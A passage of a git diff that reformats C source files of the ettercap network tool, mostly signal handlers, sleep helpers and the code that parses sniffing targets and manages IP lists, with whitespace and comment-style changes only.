fprintf(stderr, "\n"EC_COLOR_YELLOW "Ooops !! This shouldn't happen...\n\n"EC_COLOR_END); #ifdef SIGBUS if (sig == SIGBUS) - fprintf (stderr, EC_COLOR_RED"Bus error...\n\n"EC_COLOR_END); + fprintf(stderr, EC_COLOR_RED "Bus error...\n\n"EC_COLOR_END); else #endif - fprintf (stderr, EC_COLOR_RED"Segmentation Fault...\n\n"EC_COLOR_END); - - fprintf (stderr, "===========================================================================\n"); - fprintf (stderr, " To report this error follow these steps:\n\n"); - fprintf (stderr, " 1) set ec_uid to 0 (so the core will be dumped)\n\n"); - fprintf (stderr, " 2) execute ettercap with \"-w debug_dump.pcap\"\n\n"); - fprintf (stderr, " 3) reproduce the critical situation\n\n"); - fprintf (stderr, " 4) make a report : \n\t\"tar zcvf error.tar.gz %s-%s_debug.log debug_dump.pcap\"\n\n", EC_PROGRAM, EC_VERSION); - fprintf (stderr, " 5) get the gdb backtrace :\n" - " \t - \"gdb %s core\"\n" - " \t - at the gdb prompt \"bt\"\n" - " \t - at the gdb prompt \"quit\" and return to the shell\n" - " \t - copy and paste this output.\n\n", EC_PROGRAM); - fprintf (stderr, " 6) mail us the output of gdb and the error.tar.gz\n"); - fprintf (stderr, "============================================================================\n"); - - fprintf (stderr, EC_COLOR_CYAN"\n Core dumping... (use the 'core' file for gdb analysis)\n\n"EC_COLOR_END); + fprintf(stderr, EC_COLOR_RED "Segmentation Fault...\n\n"EC_COLOR_END); + + fprintf(stderr, "===========================================================================\n"); + fprintf(stderr, " To report this error follow these steps:\n\n"); + fprintf(stderr, " 1) set ec_uid to 0 (so the core will be dumped)\n\n"); + fprintf(stderr, " 2) execute ettercap with \"-w debug_dump.pcap\"\n\n"); + fprintf(stderr, " 3) reproduce the critical situation\n\n"); + fprintf(stderr, " 4) make a report : \n\t\"tar zcvf error.tar.gz %s-%s_debug.log debug_dump.pcap\"\n\n", EC_PROGRAM, EC_VERSION); + fprintf(stderr, " 5) get the gdb backtrace :\n" + " \t - \"gdb %s core\"\n" + " \t - at the gdb prompt \"bt\"\n" + " \t - at the gdb prompt \"quit\" and return to the shell\n" + " \t - copy and paste this output.\n\n", EC_PROGRAM); + fprintf(stderr, " 6) mail us the output of gdb and the error.tar.gz\n"); + fprintf(stderr, "============================================================================\n"); + + fprintf(stderr, EC_COLOR_CYAN "\n Core dumping... (use the 'core' file for gdb analysis)\n\n"EC_COLOR_END); #ifdef HAVE_EC_LUA - fprintf (stderr, EC_COLOR_CYAN" Lua stack trace: \n"EC_COLOR_END); + fprintf(stderr, EC_COLOR_CYAN " Lua stack trace: \n"EC_COLOR_END); // Let's try to print the lua stack trace, maybe. ec_lua_print_stack(stderr); - fprintf (stderr, "\n"); + fprintf(stderr, "\n"); #endif - fprintf (stderr, EC_COLOR_YELLOW" Have a nice day!\n"EC_COLOR_END); - + fprintf(stderr, EC_COLOR_YELLOW " Have a nice day!\n"EC_COLOR_END); + /* force the coredump */ #ifndef OS_WINDOWS setrlimit(RLIMIT_CORE, &corelimit); @@ -181,79 +179,75 @@ static void signal_SEGV(int sig) raise(sig); #else - + ui_cleanup(); - - fprintf(stderr, EC_COLOR_YELLOW"Ooops ! This shouldn't happen...\n"EC_COLOR_END); + + fprintf(stderr, EC_COLOR_YELLOW "Ooops ! This shouldn't happen...\n"EC_COLOR_END); #ifdef SIGBUS if (sig == SIGBUS) - fprintf (stderr, EC_COLOR_RED"Bus error...\n\n"EC_COLOR_END); + fprintf(stderr, EC_COLOR_RED "Bus error...\n\n"EC_COLOR_END); else #endif - fprintf (stderr, EC_COLOR_RED"Segmentation Fault...\n\n"EC_COLOR_END); + fprintf(stderr, EC_COLOR_RED "Segmentation Fault...\n\n"EC_COLOR_END); fprintf(stderr, "Please recompile in debug mode, reproduce the bug and send a bugreport\n\n"); - fprintf (stderr, EC_COLOR_YELLOW" Have a nice day!\n"EC_COLOR_END); + fprintf(stderr, EC_COLOR_YELLOW " Have a nice day!\n"EC_COLOR_END); - clean_exit(666); #endif } - - /* * received on CTRL+C or SIGTERM */ static void signal_TERM(int sig) { - #ifdef HAVE_STRSIGNAL - DEBUG_MSG("Signal handler... (caught SIGNAL: %d) | %s", sig, strsignal(sig)); - #else - DEBUG_MSG("Signal handler... (caught SIGNAL: %d)", sig); - #endif - +#ifdef HAVE_STRSIGNAL + DEBUG_MSG("Signal handler... (caught SIGNAL: %d) | %s", sig, strsignal(sig)); +#else + DEBUG_MSG("Signal handler... (caught SIGNAL: %d)", sig); +#endif + /* terminate the UI */ ui_cleanup(); if (sig == SIGINT) { fprintf(stderr, "\n\nUser requested a CTRL+C... (deprecated, next time use proper shutdown)\n\n"); } else { - #ifdef HAVE_STRSIGNAL +#ifdef HAVE_STRSIGNAL fprintf(stderr, "\n\n Shutting down %s (received SIGNAL: %d | %s)\n\n", GBL_PROGRAM, sig, strsignal(sig)); - #else +#else fprintf(stderr, "\n\n Shutting down %s (received SIGNAL: %d)\n\n", GBL_PROGRAM, sig); - #endif +#endif } - + signal(sig, SIG_IGN); /* flush and close the log file */ log_stop(); - /* make sure we exit gracefully */ + /* make sure we exit gracefully */ clean_exit(0); } - /* * received when a child exits */ static void signal_CHLD(int sig) { /* variable not used */ - (void) sig; + (void)sig; #ifndef OS_WINDOWS int stat; - + /* wait for the child to return and not become a zombie */ - while (waitpid (-1, &stat, WNOHANG) > 0); + while (waitpid(-1, &stat, WNOHANG) > 0) ; #endif } static void signal_USR1(int sig) { /* variable not used */ - (void) sig; + (void)sig; /* nothing to do by signal handler */ } @@ -261,4 +255,3 @@ static void signal_USR1(int sig) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_sleep.c b/src/ec_sleep.c index 2c907655d..7dd8968ce 100644 --- a/src/ec_sleep.c +++ b/src/ec_sleep.c @@ -1,23 +1,23 @@ /* - ettercap -- sleep / timer functions - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- sleep / timer functions + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -35,12 +35,12 @@ void ec_usleep(unsigned int usecs) nanosleep(&ts, NULL); #else - /* - * Use SleepEx() instead: - * http://msdn.microsoft.com/library/windows/desktop/ms686307.aspx - */ - DWORD msecs = usecs / 1000; - SleepEx (msecs, FALSE); + /* + * Use SleepEx() instead: + * http://msdn.microsoft.com/library/windows/desktop/ms686307.aspx + */ + DWORD msecs = usecs / 1000; + SleepEx(msecs, FALSE); #endif } diff --git a/src/ec_sniff.c b/src/ec_sniff.c index 6ea28e862..a3c933320 100644 --- a/src/ec_sniff.c +++ b/src/ec_sniff.c @@ -1,23 +1,23 @@ /* - ettercap -- sniffing method module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- sniffing method module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -44,13 +44,13 @@ static int expand_ipv6(char *str, struct target_env *target); #endif static pthread_mutex_t ip_list_mutex = PTHREAD_MUTEX_INITIALIZER; -#define IP_LIST_LOCK do{ pthread_mutex_lock(&ip_list_mutex); } while(0) -#define IP_LIST_UNLOCK do{ pthread_mutex_unlock(&ip_list_mutex); } while(0) +#define IP_LIST_LOCK do { pthread_mutex_lock(&ip_list_mutex); } while (0) +#define IP_LIST_UNLOCK do { pthread_mutex_unlock(&ip_list_mutex); } while (0) #ifdef WITH_IPV6 static pthread_mutex_t ip6_list_mutex = PTHREAD_MUTEX_INITIALIZER; -#define IP6_LIST_LOCK do{ pthread_mutex_lock(&ip6_list_mutex); } while(0) -#define IP6_LIST_UNLOCK do{ pthread_mutex_unlock(&ip6_list_mutex); } while(0) +#define IP6_LIST_LOCK do { pthread_mutex_lock(&ip6_list_mutex); } while (0) +#define IP6_LIST_UNLOCK do { pthread_mutex_unlock(&ip6_list_mutex); } while (0) #endif /*******************************************/ @@ -73,7 +73,7 @@ void set_unified_sniff(void) struct sniffing_method sm; DEBUG_MSG("set_unified_sniff"); - + sm.type = SM_UNIFIED; sm.start = &start_unified_sniff; sm.cleanup = &stop_unified_sniff; @@ -109,9 +109,8 @@ void set_bridge_sniff(void) set_sniffing_method(&sm); } - -/* - * set the PO_IGNORE based on the +/* + * set the PO_IGNORE based on the * TARGETS specified on command line */ static void set_interesting_flag(struct packet_object *po) @@ -120,29 +119,29 @@ static void set_interesting_flag(struct packet_object *po) char good = 0; char proto = 0; - /* + /* * first check the protocol. - * if it is not the one specified it is + * if it is not the one specified it is * useless to parse the mac, ip and port */ - if (!GBL_OPTIONS->proto || !strcasecmp(GBL_OPTIONS->proto, "all")) - proto = 1; - else { - - if (GBL_OPTIONS->proto && !strcasecmp(GBL_OPTIONS->proto, "tcp") - && po->L4.proto == NL_TYPE_TCP) - proto = 1; - - if (GBL_OPTIONS->proto && !strcasecmp(GBL_OPTIONS->proto, "udp") - && po->L4.proto == NL_TYPE_UDP) - proto = 1; - } - - /* the protocol does not match */ - if (!GBL_OPTIONS->reversed && proto == 0) - return; - + if (!GBL_OPTIONS->proto || !strcasecmp(GBL_OPTIONS->proto, "all")) + proto = 1; + else { + + if (GBL_OPTIONS->proto && !strcasecmp(GBL_OPTIONS->proto, "tcp") + && po->L4.proto == NL_TYPE_TCP) + proto = 1; + + if (GBL_OPTIONS->proto && !strcasecmp(GBL_OPTIONS->proto, "udp") + && po->L4.proto == NL_TYPE_UDP) + proto = 1; + } + + /* the protocol does not match */ + if (!GBL_OPTIONS->reversed && proto == 0) + return; + /* * we have to check if the packet is complying with the TARGETS * specified by the users. @@ -156,63 +155,62 @@ static void set_interesting_flag(struct packet_object *po) * ip address. * */ - + /* FROM TARGET1 TO TARGET2 */ - + /* T1.mac == src & T1.ip = src & T1.port = src */ - if ( (GBL_TARGET1->all_mac || !memcmp(GBL_TARGET1->mac, po->L2.src, MEDIA_ADDR_LEN)) && - (GBL_TARGET1->all_ip || cmp_ip_list(&po->L3.src, GBL_TARGET1) || - (GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.src, NULL) != E_SUCCESS) ) && - (GBL_TARGET1->all_port || BIT_TEST(GBL_TARGET1->ports, ntohs(po->L4.src))) ) + if ((GBL_TARGET1->all_mac || !memcmp(GBL_TARGET1->mac, po->L2.src, MEDIA_ADDR_LEN)) && + (GBL_TARGET1->all_ip || cmp_ip_list(&po->L3.src, GBL_TARGET1) || + (GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.src, NULL) != E_SUCCESS)) && + (GBL_TARGET1->all_port || BIT_TEST(GBL_TARGET1->ports, ntohs(po->L4.src)))) value = 1; /* T2.mac == dst & T2.ip = dst & T2.port = dst */ - if ( value && ( - (GBL_TARGET2->all_mac || !memcmp(GBL_TARGET2->mac, po->L2.dst, MEDIA_ADDR_LEN) || !memcmp(GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN)) && - (GBL_TARGET2->all_ip || cmp_ip_list(&po->L3.dst, GBL_TARGET2) || - (GBL_OPTIONS->broadcast && ip_addr_is_broadcast(&po->L3.dst) == E_SUCCESS) || - (GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.dst, NULL) != E_SUCCESS) ) && - (GBL_TARGET2->all_port || BIT_TEST(GBL_TARGET2->ports, ntohs(po->L4.dst))) ) ) - good = 1; - - /* + if (value && ( + (GBL_TARGET2->all_mac || !memcmp(GBL_TARGET2->mac, po->L2.dst, MEDIA_ADDR_LEN) || !memcmp(GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN)) && + (GBL_TARGET2->all_ip || cmp_ip_list(&po->L3.dst, GBL_TARGET2) || + (GBL_OPTIONS->broadcast && ip_addr_is_broadcast(&po->L3.dst) == E_SUCCESS) || + (GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.dst, NULL) != E_SUCCESS)) && + (GBL_TARGET2->all_port || BIT_TEST(GBL_TARGET2->ports, ntohs(po->L4.dst))))) + good = 1; + + /* * reverse the matching but only if it has matched ! * if good && proto is false, we have to go on with * tests and evaluate it later */ - if ((good && proto) && GBL_OPTIONS->reversed ^ (good && proto) ) { + if ((good && proto) && GBL_OPTIONS->reversed ^ (good && proto)) { po->flags &= ~PO_IGNORE; return; } - + value = 0; - + /* FROM TARGET2 TO TARGET1 */ - + /* T1.mac == dst & T1.ip = dst & T1.port = dst */ /* if broadcast then T2 -> broadcast */ - if ( (GBL_TARGET1->all_mac || !memcmp(GBL_TARGET1->mac, po->L2.dst, MEDIA_ADDR_LEN) || !memcmp(GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN)) && - (GBL_TARGET1->all_ip || cmp_ip_list(&po->L3.dst, GBL_TARGET1) || - (GBL_OPTIONS->broadcast && ip_addr_is_broadcast(&po->L3.dst) == E_SUCCESS) || - (GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.dst, NULL) != E_SUCCESS) ) && - (GBL_TARGET1->all_port || BIT_TEST(GBL_TARGET1->ports, ntohs(po->L4.dst))) ) + if ((GBL_TARGET1->all_mac || !memcmp(GBL_TARGET1->mac, po->L2.dst, MEDIA_ADDR_LEN) || !memcmp(GBL_IFACE->mac, po->L2.dst, MEDIA_ADDR_LEN)) && + (GBL_TARGET1->all_ip || cmp_ip_list(&po->L3.dst, GBL_TARGET1) || + (GBL_OPTIONS->broadcast && ip_addr_is_broadcast(&po->L3.dst) == E_SUCCESS) || + (GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.dst, NULL) != E_SUCCESS)) && + (GBL_TARGET1->all_port || BIT_TEST(GBL_TARGET1->ports, ntohs(po->L4.dst)))) value = 1; /* T2.mac == src & T2.ip = src & T2.port = src */ - if ( value && ( - (GBL_TARGET2->all_mac || !memcmp(GBL_TARGET2->mac, po->L2.src, MEDIA_ADDR_LEN)) && - (GBL_TARGET2->all_ip || cmp_ip_list(&po->L3.src, GBL_TARGET2) || - (GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.src, NULL) != E_SUCCESS) ) && - (GBL_TARGET2->all_port || BIT_TEST(GBL_TARGET2->ports, ntohs(po->L4.src))) ) ) - good = 1; - - - /* reverse the matching */ - if (GBL_OPTIONS->reversed ^ (good && proto) ) { + if (value && ( + (GBL_TARGET2->all_mac || !memcmp(GBL_TARGET2->mac, po->L2.src, MEDIA_ADDR_LEN)) && + (GBL_TARGET2->all_ip || cmp_ip_list(&po->L3.src, GBL_TARGET2) || + (GBL_OPTIONS->remote && ip_addr_is_local(&po->L3.src, NULL) != E_SUCCESS)) && + (GBL_TARGET2->all_port || BIT_TEST(GBL_TARGET2->ports, ntohs(po->L4.src))))) + good = 1; + + /* reverse the matching */ + if (GBL_OPTIONS->reversed ^ (good && proto)) { po->flags &= ~PO_IGNORE; } - - return; + + return; } /* @@ -223,7 +221,7 @@ void reset_display_filter(struct target_env *t) { DEBUG_MSG("reset_display_filter %p", t); - + free_ip_list(t); memset(t->ports, 0, sizeof(t->ports)); memset(t->mac, 0, sizeof(t->mac)); @@ -234,15 +232,14 @@ void reset_display_filter(struct target_env *t) t->scan_all = 0; } - /* * compile the list of MAC, IPs and PORTs to be displayed */ int compile_display_filter(void) { char *t1, *t2; - -#ifdef WITH_IPV6 + +#ifdef WITH_IPV6 /* if not specified default to /// */ if (!GBL_OPTIONS->target1) { GBL_OPTIONS->target1 = strdup("///"); @@ -281,21 +278,20 @@ int compile_display_filter(void) /* make a copy to operate on */ t1 = strdup(GBL_OPTIONS->target1); t2 = strdup(GBL_OPTIONS->target2); - + /* compile TARGET1 */ compile_target(t1, GBL_TARGET1); - + /* compile TARGET2 */ compile_target(t2, GBL_TARGET2); /* the strings were modified, we can't use them anymore */ SAFE_FREE(t1); SAFE_FREE(t2); - + return E_SUCCESS; } - /* * convert a string into a target env */ @@ -318,7 +314,7 @@ int compile_target(char *string, struct target_env *target) char *tok[MAX_TOK]; char *p; int i = 0; - + DEBUG_MSG("compile_target TARGET: %s", string); /* reset the special marker */ @@ -326,32 +322,32 @@ int compile_target(char *string, struct target_env *target) target->all_ip = 0; target->all_ip6 = 0; target->all_port = 0; - + /* check for invalid char */ if (strlen(string) != strspn(string, valid)) SEMIFATAL_ERROR("TARGET (%s) contains invalid chars !", string); - + /* TARGET parsing */ for (p = strsep(&string, "/"); p != NULL; p = strsep(&string, "/")) { tok[i++] = strdup(p); /* bad parsing */ if (i > (MAX_TOK - 1)) break; } - + if (i != MAX_TOK) #ifdef WITH_IPV6 SEMIFATAL_ERROR("Incorrect number of token (///) in TARGET !!"); #else SEMIFATAL_ERROR("Incorrect number of token (//) in TARGET !!"); #endif - + DEBUG_MSG("MAC : [%s]", tok[MAC_TOK]); DEBUG_MSG("IP : [%s]", tok[IP_TOK]); #ifdef WITH_IPV6 DEBUG_MSG("IPv6 : [%s]", tok[IPV6_TOK]); #endif DEBUG_MSG("PORT : [%s]", tok[PORT_TOK]); - + /* set the mac address */ if (!strcmp(tok[MAC_TOK], "")) target->all_mac = 1; @@ -362,43 +358,42 @@ int compile_target(char *string, struct target_env *target) if (!strcmp(tok[IP_TOK], "")) target->all_ip = 1; else - for(p = strsep(&tok[IP_TOK], ";"); p != NULL; p = strsep(&tok[IP_TOK], ";")) - expand_range_ip(p, target); - -#ifdef WITH_IPV6 - if(!strcmp(tok[IPV6_TOK], "")) + for (p = strsep(&tok[IP_TOK], ";"); p != NULL; p = strsep(&tok[IP_TOK], ";")) + expand_range_ip(p, target); + +#ifdef WITH_IPV6 + if (!strcmp(tok[IPV6_TOK], "")) target->all_ip6 = 1; else - for(p = strsep(&tok[IPV6_TOK], ";"); p != NULL; p = strsep(&tok[IPV6_TOK], ";")) + for (p = strsep(&tok[IPV6_TOK], ";"); p != NULL; p = strsep(&tok[IPV6_TOK], ";")) expand_ipv6(p, target); -#endif +#endif - /* + /* * expand the range into the port bitmap array - * 1<<16 is MAX_PORTS + * 1<<16 is MAX_PORTS */ if (!strcmp(tok[PORT_TOK], "")) target->all_port = 1; else { - if (expand_token(tok[PORT_TOK], 1<<16, &add_port, target->ports) == -E_FATAL) + if (expand_token(tok[PORT_TOK], 1 << 16, &add_port, target->ports) == -E_FATAL) SEMIFATAL_ERROR("Invalid port range"); } - for(i = 0; i < MAX_TOK; i++) + for (i = 0; i < MAX_TOK; i++) SAFE_FREE(tok[i]); return E_SUCCESS; } - /* - * set the bit of the relative port + * set the bit of the relative port */ static void add_port(void *ports, u_int n) { u_int8 *bitmap = ports; - if (n > 1<<16) + if (n > 1 << 16) FATAL_ERROR("Port outside the range (65535) !!"); BIT_SET(bitmap, n); @@ -409,7 +404,7 @@ static void add_port(void *ports, u_int n) * value of a token. * it is used as a digital clock. * an impulse is made to the last digit and it increment - * its value, when it reach the maximum, it reset itself + * its value, when it reach the maximum, it reset itself * and gives an impulse to the second to last digit. * the impulse is propagated till the first digit so all * the values are displayed as in a daytime from 00:00 to 23:59 @@ -421,8 +416,7 @@ struct digit { u_char values[0xff]; }; - -/* +/* * prepare the set of 4 digit to create an IP address */ @@ -436,13 +430,13 @@ static int expand_range_ip(char *str, void *target) int i = 0, j; int permut = 1; char *tok; - + memset(&ADDR, 0, sizeof(ADDR)); p = str; /* tokenize the ip into 4 slices */ - while ((q = ec_strtok(p, ".", &tok)) ) { + while ((q = ec_strtok(p, ".", &tok))) { addr[i++] = strdup(q); /* reset p for the next strtok */ if (p != NULL) p = NULL; @@ -461,37 +455,37 @@ static int expand_range_ip(char *str, void *target) } /* count the free permutations */ - for (i = 0; i < 4; i++) + for (i = 0; i < 4; i++) permut *= ADDR[i].n; /* give the impulses to the last digit */ for (i = 0; i < permut; i++) { - snprintf(parsed_ip, 16, "%d.%d.%d.%d", ADDR[0].values[ADDR[0].cur], - ADDR[1].values[ADDR[1].cur], - ADDR[2].values[ADDR[2].cur], - ADDR[3].values[ADDR[3].cur]); + snprintf(parsed_ip, 16, "%d.%d.%d.%d", ADDR[0].values[ADDR[0].cur], + ADDR[1].values[ADDR[1].cur], + ADDR[2].values[ADDR[2].cur], + ADDR[3].values[ADDR[3].cur]); if (ip_addr_pton(parsed_ip, &tmp) != E_SUCCESS) FATAL_ERROR("Invalid IP address (%s)", parsed_ip); add_ip_list(&tmp, target); - - /* give the impulse to the last octet */ + + /* give the impulse to the last octet */ ADDR[3].cur++; /* adjust the other digits as in a digital clock */ - for (j = 2; j >= 0; j--) { - if ( ADDR[j+1].cur >= ADDR[j+1].n ) { + for (j = 2; j >= 0; j--) { + if (ADDR[j + 1].cur >= ADDR[j + 1].n) { ADDR[j].cur++; - ADDR[j+1].cur = 0; + ADDR[j + 1].cur = 0; } } - } - + } + for (i = 0; i < 4; i++) SAFE_FREE(addr[i]); - + return E_SUCCESS; } @@ -500,27 +494,27 @@ static int expand_range_ip(char *str, void *target) static int expand_ipv6(char *str, struct target_env *target) { struct ip_addr ip; - - if(ip_addr_pton(str, &ip) != E_SUCCESS) + + if (ip_addr_pton(str, &ip) != E_SUCCESS) SEMIFATAL_ERROR("Invalid IPv6 address"); add_ip_list(&ip, target); return E_SUCCESS; } + #endif /* fill the digit structure with data */ static void add_ip(void *digit, u_int n) { struct digit *buf = digit; - + buf->n++; - buf->values[buf->n - 1] = (u_char) n; + buf->values[buf->n - 1] = (u_char)n; } - /* - * add an IP to the list + * add an IP to the list */ void add_ip_list(struct ip_addr *ip, struct target_env *t) @@ -529,62 +523,62 @@ void add_ip_list(struct ip_addr *ip, struct target_env *t) struct ip_list *last; SAFE_CALLOC(e, 1, sizeof(struct ip_list)); - + memcpy(&e->ip, ip, sizeof(struct ip_addr)); - switch(ntohs(ip->addr_type)) { - case AF_INET: - IP_LIST_LOCK; - /* - * insert it at the end of the list. - * search the last element then insert the new one - */ - LIST_FOREACH (last, &t->ips, next) { - /* if already in the list, skip it */ - if (!ip_addr_cmp(&last->ip, ip)) { - IP_LIST_UNLOCK; - return; - } - - if (LIST_NEXT(last, next) == LIST_END(&t->ips)) - break; + switch (ntohs(ip->addr_type)) { + case AF_INET: + IP_LIST_LOCK; + /* + * insert it at the end of the list. + * search the last element then insert the new one + */ + LIST_FOREACH(last, &t->ips, next) { + /* if already in the list, skip it */ + if (!ip_addr_cmp(&last->ip, ip)) { + IP_LIST_UNLOCK; + return; } - if (last) - LIST_INSERT_AFTER(last, e, next); - else - LIST_INSERT_HEAD(&t->ips, e, next); - - /* the target has at least one ip, so remove the "all" flag */ - t->all_ip = 0; - t->scan_all = 0; - - IP_LIST_UNLOCK; - break; + if (LIST_NEXT(last, next) == LIST_END(&t->ips)) + break; + } + + if (last) + LIST_INSERT_AFTER(last, e, next); + else + LIST_INSERT_HEAD(&t->ips, e, next); + + /* the target has at least one ip, so remove the "all" flag */ + t->all_ip = 0; + t->scan_all = 0; + + IP_LIST_UNLOCK; + break; #ifdef WITH_IPV6 - case AF_INET6: - IP6_LIST_LOCK; - LIST_FOREACH(last, &t->ip6, next) { - if(!ip_addr_cmp(&last->ip, ip)) { - IP6_LIST_UNLOCK; - return; - } - if(LIST_NEXT(last, next) == LIST_END(&t->ip6)) - break; + case AF_INET6: + IP6_LIST_LOCK; + LIST_FOREACH(last, &t->ip6, next) { + if (!ip_addr_cmp(&last->ip, ip)) { + IP6_LIST_UNLOCK; + return; } + if (LIST_NEXT(last, next) == LIST_END(&t->ip6)) + break; + } - if(last) - LIST_INSERT_AFTER(last, e, next); - else - LIST_INSERT_HEAD(&t->ip6, e, next); + if (last) + LIST_INSERT_AFTER(last, e, next); + else + LIST_INSERT_HEAD(&t->ip6, e, next); - t->all_ip6 = 0; - t->scan_all = 0; - IP6_LIST_UNLOCK; - break; + t->all_ip6 = 0; + t->scan_all = 0; + IP6_LIST_UNLOCK; + break; #endif } - + return; } @@ -595,35 +589,35 @@ void add_ip_list(struct ip_addr *ip, struct target_env *t) int cmp_ip_list(struct ip_addr *ip, struct target_env *t) { struct ip_list *e; - - switch(ntohs(ip->addr_type)) { - case AF_INET: - IP_LIST_LOCK; - - LIST_FOREACH (e, &t->ips, next) - if (!ip_addr_cmp(&(e->ip), ip)) { - IP_LIST_UNLOCK; - return 1; - } + switch (ntohs(ip->addr_type)) { + case AF_INET: + IP_LIST_LOCK; + + LIST_FOREACH(e, &t->ips, next) + if (!ip_addr_cmp(&(e->ip), ip)) { IP_LIST_UNLOCK; - break; - -#ifdef WITH_IPV6 - case AF_INET6: - IP6_LIST_LOCK; - - LIST_FOREACH(e, &t->ip6, next) - if(!ip_addr_cmp(&e->ip, ip)) { - IP6_LIST_UNLOCK; - return 1; - } + return 1; + } + IP_LIST_UNLOCK; + break; + +#ifdef WITH_IPV6 + case AF_INET6: + IP6_LIST_LOCK; + + LIST_FOREACH(e, &t->ip6, next) + if (!ip_addr_cmp(&e->ip, ip)) { IP6_LIST_UNLOCK; - break; + return 1; + } + + IP6_LIST_UNLOCK; + break; #endif } - + return 0; } @@ -635,50 +629,50 @@ void del_ip_list(struct ip_addr *ip, struct target_env *t) { struct ip_list *e; - switch(ntohs(ip->addr_type)) { - case AF_INET: - IP_LIST_LOCK; - - LIST_FOREACH (e, &t->ips, next) { - if (!ip_addr_cmp(&(e->ip), ip)) { - LIST_REMOVE(e, next); - SAFE_FREE(e); - /* check if the list is empty */ - if (LIST_FIRST(&t->ips) == LIST_END(&t->ips)) { - /* the list is empty, set the "all" flag */ - t->all_ip = 1; - } - - IP_LIST_UNLOCK; - return; + switch (ntohs(ip->addr_type)) { + case AF_INET: + IP_LIST_LOCK; + + LIST_FOREACH(e, &t->ips, next) { + if (!ip_addr_cmp(&(e->ip), ip)) { + LIST_REMOVE(e, next); + SAFE_FREE(e); + /* check if the list is empty */ + if (LIST_FIRST(&t->ips) == LIST_END(&t->ips)) { + /* the list is empty, set the "all" flag */ + t->all_ip = 1; } + + IP_LIST_UNLOCK; + return; } - - IP_LIST_UNLOCK; - break; + } + + IP_LIST_UNLOCK; + break; #ifdef WITH_IPV6 - case AF_INET6: - IP6_LIST_LOCK; - - LIST_FOREACH(e, &t->ip6, next) { - if(!ip_addr_cmp(&e->ip, ip)) { - LIST_REMOVE(e, next); - SAFE_FREE(e); - - if(LIST_FIRST(&t->ip6) == LIST_END(&t->ip6)) - t->all_ip6 = 1; - - IP6_LIST_UNLOCK; - return; - } + case AF_INET6: + IP6_LIST_LOCK; + + LIST_FOREACH(e, &t->ip6, next) { + if (!ip_addr_cmp(&e->ip, ip)) { + LIST_REMOVE(e, next); + SAFE_FREE(e); + + if (LIST_FIRST(&t->ip6) == LIST_END(&t->ip6)) + t->all_ip6 = 1; + + IP6_LIST_UNLOCK; + return; } + } - IP6_LIST_UNLOCK; - break; + IP6_LIST_UNLOCK; + break; #endif } - + return; } @@ -689,20 +683,20 @@ void del_ip_list(struct ip_addr *ip, struct target_env *t) void free_ip_list(struct target_env *t) { struct ip_list *e, *tmp; - + IP_LIST_LOCK; - + /* delete the list */ LIST_FOREACH_SAFE(e, &t->ips, next, tmp) { LIST_REMOVE(e, next); SAFE_FREE(e); - } - + } + IP_LIST_UNLOCK; #ifdef WITH_IPV6 IP6_LIST_LOCK; - + LIST_FOREACH_SAFE(e, &t->ip6, next, tmp) { LIST_REMOVE(e, next); SAFE_FREE(e); @@ -712,8 +706,6 @@ void free_ip_list(struct target_env *t) #endif } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_sniff_bridge.c b/src/ec_sniff_bridge.c index 211c3baab..bde10f6b1 100644 --- a/src/ec_sniff_bridge.c +++ b/src/ec_sniff_bridge.c @@ -1,23 +1,23 @@ /* - ettercap -- bridged sniffing method module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free 